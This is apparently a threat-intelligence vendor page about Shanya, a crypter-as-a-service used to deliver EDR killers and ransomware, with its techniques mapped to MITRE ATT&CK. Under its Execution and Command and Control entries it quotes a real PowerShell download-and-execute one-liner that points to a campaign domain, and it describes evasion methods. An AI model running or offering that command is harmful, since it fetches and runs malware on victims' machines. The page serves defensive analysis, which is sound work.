Skip to main content
Live Webinar with SANS (June 25)— Agentic CTI Automation for Fun & ProfitRegister Free
Mallory
MalwareRansomware

Shanya

Shanya is a packer-as-a-service (PaaS) / crypter used to obfuscate and load malicious payloads, and is increasingly associated with ransomware operations. Sophos reported that it emerged on underground forums in late 2024, where a related offering called VX Crypt was attributed to an entity named "Shanya." Advertised features included non-standard in-memory module loading, unique stubs per customer, AMSI bypass for .NET assemblies, anti-VM and anti-sandbox behavior, and optional sideloading. It has also been referred to by other researchers as TangleCrypt and possibly the Armillaria loader.

Technically, Shanya uses heavy junk-code obfuscation, dynamic API resolution via custom hashing, and anti-analysis checks involving RtlDeleteFunctionTable. It decrypts and decompresses payloads in memory and loads them by mapping a second copy of shell32.dll, overwriting the image header and .text section with the decrypted payload, and altering module metadata in the PEB to disguise the mapped image. Sophos also reported that Shanya stores a pointer to an internal configuration table in the PEB GdiHandleBuffer field. Observed sample naming included shanya_crypter.exe and DLL names derived from "Shanya."

A major observed use case is packaging an EDR killer used ahead of ransomware deployment. In these cases, Shanya-packed malware commonly uses DLL side-loading with legitimate binaries such as consent.exe and malicious DLLs including msimg32.dll, version.dll, rtworkq.dll, and wmsgapi.dll. The EDR killer drops a legitimate vulnerable TechPowerUp driver, ThrottleStop.sys or rwdrv.sys, together with a malicious unsigned kernel driver, hlpdrv.sys. The user-mode component enumerates targeted security-product services and processes and sends kill commands to the kernel driver to disable protections. Reporting cited first observed deployment near the end of April 2025 in a Medusa ransomware attack, with later use in Akira, Qilin, and Crytox operations.

Shanya has also been used outside pure ransomware deployment chains. Sophos linked it to delivery of BumbleBee, ChuChuka, Lumma, WHT downloader, StealC, and CastleRAT. In September 2025 it was associated with a Booking.com-themed ClickFix campaign targeting hotels, in which PowerShell downloaded content from biokdsl[.]com/upd or biklkfd[.]com/upd, retrieved consa[.]zip (SHA256: 59906b022adfc6f63903adbdbb64c82881e0b1664d6b7f7ee42319019fcb3d7e), side-loaded wmsgapi.dll via consent.exe, and ultimately deployed CastleRAT.

Sophos observed Shanya globally during 2025, with relatively higher prevalence in Tunisia and the United Arab Emirates, and detections in China concentrated around Shenzhen. The reporting characterizes Shanya as taking over part of the role previously played by HeartCrypt in enabling malware delivery and defense evasion for multiple criminal operators.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

MITRE ATT&CK

Techniques & procedures

13 distinct techniques documented for this family, organized by ATT&CK tactic.

Execution

1 technique
T1059.001PowerShellEvidence1

Command line: powershell -w h -ep b -c "iex (iwr 'biokdsl[.]com/upd' -useb).Content"

Persistence

1 technique
T1547Boot or Logon Autostart ExecutionEvidence1

It registered for autostart and then executed the clean loader (consent.exe).

Privilege Escalation

3 techniques
T1055Process InjectionEvidence1

It's possible to load your file in the context of another process, but it takes time to find vulnerabilities in the right software and time for testing.

T1068Exploitation for Privilege EscalationEvidence1

The malicious kernel driver abuses the vulnerable clean driver, gaining write access that enables the termination and deletion of the processes and services of the protection products.

T1547Boot or Logon Autostart ExecutionEvidence1

It registered for autostart and then executed the clean loader (consent.exe).

Stealth

6 techniques
T1014RootkitEvidence1

It drops two kernel drivers: ThrottleStop.sys/rwdrv.sys (legitimate driver from TechPowerUp, abused in this context) hlpdrv.sys (a malicious unsigned kernel driver).

T1027Obfuscated Files or InformationEvidence1

The loader code is highly obfuscated, with miles of junk code such as this.

T1027.007Dynamic API ResolutionEvidence1

Shanya dynamically resolves required Windows API functions by first parsing the PEB... Using a custom hashing algorithm, it then parses all export names until a match is found. That algorithm varies from sample to sample.

T1055Process InjectionEvidence1

It's possible to load your file in the context of another process, but it takes time to find vulnerabilities in the right software and time for testing.

T1497Virtualization/Sandbox EvasionEvidence1

Anti-VM, doesn't run in sandboxes, doesn't unpack in the cloud.

T1622Debugger EvasionEvidence1

By triggering the function with an invalid context, the malware attempts to induce an unhandled exception or crash if running under a user-mode debugger, thereby disrupting automated sandboxes and terminating manual analysis attempts before the payload can be fully executed.

Discovery

2 techniques
T1497Virtualization/Sandbox EvasionEvidence1

Anti-VM, doesn't run in sandboxes, doesn't unpack in the cloud.

T1622Debugger EvasionEvidence1

By triggering the function with an invalid context, the malware attempts to induce an unhandled exception or crash if running under a user-mode debugger, thereby disrupting automated sandboxes and terminating manual analysis attempts before the payload can be fully executed.

Command and Control

2 techniques
T1071.001Web ProtocolsEvidence1

Malware name: C2_10a (T1071.001) ... powershell -w h -ep b -c "iex (iwr 'biokdsl[.]com/upd' -useb).Content"

T1105Ingress Tool TransferEvidence1

The upd script downloaded and unpacked the consent.zip archive, which contained the DLL side-loading components.

Other

2 techniques
T1562Impair DefensesEvidence1

These service and process names belong to security products that are targeted by the EDR killer. The user mode killer searches the running processes and installed services. If it finds a match, it sends a kill command to the malicious kernel driver.

T1562.001Disable or Modify ToolsEvidence1

AMSI bypass for your .NET assemblies; the payload is not detected in memory.

INDICATORS OF COMPROMISE

IOCs tracked for this family

8 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
4 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
4 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app10 months ago
domain●●●●●●●●●●●●View more in app10 months ago
hash.sha1●●●●●●●●●●●●View more in app10 months ago
hash.sha1●●●●●●●●●●●●View more in app10 months ago
hash.sha256●●●●●●●●●●●●View more in app10 months ago
hash.sha256●●●●●●●●●●●●View more in app10 months ago
ACTIVITY FEED

Recent activity

7 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching8

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping13

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.